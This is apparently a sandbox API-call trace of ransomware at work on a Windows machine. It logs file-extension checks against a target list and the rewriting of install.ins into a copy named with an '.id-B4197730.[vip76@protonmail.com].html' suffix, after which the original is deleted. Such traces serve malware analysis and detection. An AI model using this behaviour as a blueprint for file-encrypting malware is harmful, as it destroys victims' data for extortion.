	[0083.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.311] lstrlenW (lpString=".jpg") returned 4
	[0083.311] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.312] lstrlenW (lpString=".doc") returned 4
	[0083.312] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.312] lstrlenW (lpString=".docx") returned 5
	[0083.312] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0083.312] lstrlenW (lpString=".pdf") returned 4
	[0083.312] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.312] lstrlenW (lpString=".xls") returned 4
	[0083.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.312] lstrlenW (lpString=".xlsx") returned 5
	[0083.312] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0083.312] lstrlenW (lpString=".ppt") returned 4
	[0083.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.312] lstrlenW (lpString=".zip") returned 4
	[0083.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.312] lstrlenW (lpString=".rar") returned 4
	[0083.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.312] lstrlenW (lpString=".bz2") returned 4
	[0083.312] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.312] lstrlenW (lpString=".7z") returned 3
	[0083.312] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.312] lstrlenW (lpString=".dbf") returned 4
	[0083.312] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.312] lstrlenW (lpString=".1cd") returned 4
	[0083.312] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.312] lstrlenW (lpString=".jpg") returned 4
	[0083.312] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.313] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.313] lstrlenW (lpString="msado15.dll") returned 11
	[0083.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.313] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1233920) returned 1
	[0083.313] CloseHandle (hObject=0x34c) returned 1
	[0083.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20
	[0083.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.314] lstrlenW (lpString=".doc") returned 4
	[0083.314] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.314] lstrlenW (lpString=".docx") returned 5
	[0083.314] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0083.314] lstrlenW (lpString=".pdf") returned 4
	[0083.314] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.314] lstrlenW (lpString=".xls") returned 4
	[0083.314] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.314] lstrlenW (lpString=".xlsx") returned 5
	[0083.314] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0083.314] lstrlenW (lpString=".ppt") returned 4
	[0083.314] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.314] lstrlenW (lpString=".zip") returned 4
	[0083.314] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.314] lstrlenW (lpString=".rar") returned 4
	[0083.315] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.315] lstrlenW (lpString=".bz2") returned 4
	[0083.315] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.315] lstrlenW (lpString=".7z") returned 3
	[0083.315] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.315] lstrlenW (lpString=".dbf") returned 4
	[0083.315] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.315] lstrlenW (lpString=".1cd") returned 4
	[0083.315] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.315] lstrlenW (lpString=".jpg") returned 4
	[0083.315] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.315] lstrlenW (lpString=".doc") returned 4
	[0083.315] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.315] lstrlenW (lpString=".docx") returned 5
	[0083.315] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0083.315] lstrlenW (lpString=".pdf") returned 4
	[0083.315] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.315] lstrlenW (lpString=".xls") returned 4
	[0083.315] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.315] lstrlenW (lpString=".xlsx") returned 5
	[0083.315] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0083.315] lstrlenW (lpString=".ppt") returned 4
	[0083.315] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.315] lstrlenW (lpString=".zip") returned 4
	[0083.315] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.315] lstrlenW (lpString=".rar") returned 4
	[0083.316] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.316] lstrlenW (lpString=".bz2") returned 4
	[0083.316] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.316] lstrlenW (lpString=".7z") returned 3
	[0083.316] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.316] lstrlenW (lpString=".dbf") returned 4
	[0083.316] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.316] lstrlenW (lpString=".1cd") returned 4
	[0083.316] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0083.316] lstrlenW (lpString=".jpg") returned 4
	[0083.316] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.316] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.316] lstrlenW (lpString="msado20.tlb") returned 11
	[0083.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.317] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=50688) returned 1
	[0083.317] CloseHandle (hObject=0x34c) returned 1
	[0083.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20
	[0083.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.317] lstrlenW (lpString=".doc") returned 4
	[0083.317] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.317] lstrlenW (lpString=".docx") returned 5
	[0083.317] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.317] lstrlenW (lpString=".pdf") returned 4
	[0083.317] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.317] lstrlenW (lpString=".xls") returned 4
	[0083.317] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.317] lstrlenW (lpString=".xlsx") returned 5
	[0083.317] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.318] lstrlenW (lpString=".ppt") returned 4
	[0083.318] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.318] lstrlenW (lpString=".zip") returned 4
	[0083.318] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.318] lstrlenW (lpString=".rar") returned 4
	[0083.318] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString=".bz2") returned 4
	[0083.318] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString=".7z") returned 3
	[0083.318] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.318] lstrlenW (lpString=".dbf") returned 4
	[0083.318] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.318] lstrlenW (lpString=".1cd") returned 4
	[0083.318] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.318] lstrlenW (lpString=".jpg") returned 4
	[0083.318] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.318] lstrlenW (lpString=".doc") returned 4
	[0083.318] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString=".docx") returned 5
	[0083.318] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.318] lstrlenW (lpString=".pdf") returned 4
	[0083.318] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.318] lstrlenW (lpString=".xls") returned 4
	[0083.318] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.318] lstrlenW (lpString=".xlsx") returned 5
	[0083.318] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.318] lstrlenW (lpString=".ppt") returned 4
	[0083.319] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.319] lstrlenW (lpString=".zip") returned 4
	[0083.319] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.319] lstrlenW (lpString=".rar") returned 4
	[0083.319] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.319] lstrlenW (lpString=".bz2") returned 4
	[0083.319] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.319] lstrlenW (lpString=".7z") returned 3
	[0083.319] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.319] lstrlenW (lpString=".dbf") returned 4
	[0083.319] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.319] lstrlenW (lpString=".1cd") returned 4
	[0083.319] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0083.319] lstrlenW (lpString=".jpg") returned 4
	[0083.319] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.319] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.319] lstrlenW (lpString="msado21.tlb") returned 11
	[0083.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.319] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=53760) returned 1
	[0083.320] CloseHandle (hObject=0x34c) returned 1
	[0083.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20
	[0083.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.320] lstrlenW (lpString=".doc") returned 4
	[0083.320] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.320] lstrlenW (lpString=".docx") returned 5
	[0083.320] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0083.320] lstrlenW (lpString=".pdf") returned 4
	[0083.320] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.320] lstrlenW (lpString=".xls") returned 4
	[0083.320] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.320] lstrlenW (lpString=".xlsx") returned 5
	[0083.320] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0083.320] lstrlenW (lpString=".ppt") returned 4
	[0083.320] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.320] lstrlenW (lpString=".zip") returned 4
	[0083.320] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.320] lstrlenW (lpString=".rar") returned 4
	[0083.320] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.320] lstrlenW (lpString=".bz2") returned 4
	[0083.320] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.320] lstrlenW (lpString=".7z") returned 3
	[0083.320] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.321] lstrlenW (lpString=".dbf") returned 4
	[0083.321] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.321] lstrlenW (lpString=".1cd") returned 4
	[0083.321] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.321] lstrlenW (lpString=".jpg") returned 4
	[0083.321] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.321] lstrlenW (lpString=".doc") returned 4
	[0083.321] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString=".docx") returned 5
	[0083.321] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0083.321] lstrlenW (lpString=".pdf") returned 4
	[0083.321] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString=".xls") returned 4
	[0083.321] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.321] lstrlenW (lpString=".xlsx") returned 5
	[0083.321] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0083.321] lstrlenW (lpString=".ppt") returned 4
	[0083.321] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.321] lstrlenW (lpString=".zip") returned 4
	[0083.321] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.321] lstrlenW (lpString=".rar") returned 4
	[0083.321] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString=".bz2") returned 4
	[0083.321] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.321] lstrlenW (lpString=".7z") returned 3
	[0083.321] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.322] lstrlenW (lpString=".dbf") returned 4
	[0083.322] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.322] lstrlenW (lpString=".1cd") returned 4
	[0083.322] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0083.322] lstrlenW (lpString=".jpg") returned 4
	[0083.322] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.322] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.322] lstrlenW (lpString="msado25.tlb") returned 11
	[0083.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.330] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0083.330] CloseHandle (hObject=0x390) returned 1
	[0083.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20
	[0083.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0083.336] lstrlenW (lpString=".doc") returned 4
	[0083.336] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.336] lstrlenW (lpString=".docx") returned 5
	[0083.336] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1
	[0083.336] lstrlenW (lpString=".pdf") returned 4
	[0083.336] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.336] lstrlenW (lpString=".xls") returned 4
	[0083.336] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.336] lstrlenW (lpString=".xlsx") returned 5
	[0083.336] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1
	[0083.336] lstrlenW (lpString=".ppt") returned 4
	[0083.336] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0083.337] lstrlenW (lpString=".zip") returned 4
	[0083.337] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.337] lstrlenW (lpString=".rar") returned 4
	[0083.337] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.337] lstrlenW (lpString=".bz2") returned 4
	[0083.337] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.337] lstrlenW (lpString=".7z") returned 3
	[0083.337] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0083.337] lstrlenW (lpString=".dbf") returned 4
	[0083.337] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.379] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.379] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.379] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.380] GetLastError () returned 0x0
	[0083.380] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x1c4, lpOverlapped=0x0) returned 1
	[0083.381] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1d0, lpOverlapped=0x0) returned 1
	[0083.382] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.382] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1
	[0083.385] SetEndOfFile (hFile=0x34c) returned 1
	[0083.385] CloseHandle (hObject=0x34c) returned 1
	[0083.385] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.385] SetEndOfFile (hFile=0x390) returned 1
	[0083.387] CloseHandle (hObject=0x390) returned 1
	[0083.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.387] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1
	[0083.391] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.391] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.391] lstrlenW (lpString=".doc") returned 4
	[0083.391] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0083.391] lstrlenW (lpString=".docx") returned 5
	[0083.391] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0083.391] lstrlenW (lpString=".pdf") returned 4
	[0083.391] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0083.391] lstrlenW (lpString=".xls") returned 4
	[0083.391] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0083.391] lstrlenW (lpString=".xlsx") returned 5
	[0083.391] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0083.391] lstrlenW (lpString=".ppt") returned 4
	[0083.391] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0083.391] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.391] lstrlenW (lpString=".zip") returned 4
	[0083.391] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0083.391] lstrlenW (lpString=".rar") returned 4
	[0083.391] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0083.391] lstrlenW (lpString=".bz2") returned 4
	[0083.391] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0083.391] lstrlenW (lpString=".7z") returned 3
	[0083.391] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0083.391] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.391] lstrlenW (lpString=".dbf") returned 4
	[0083.392] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
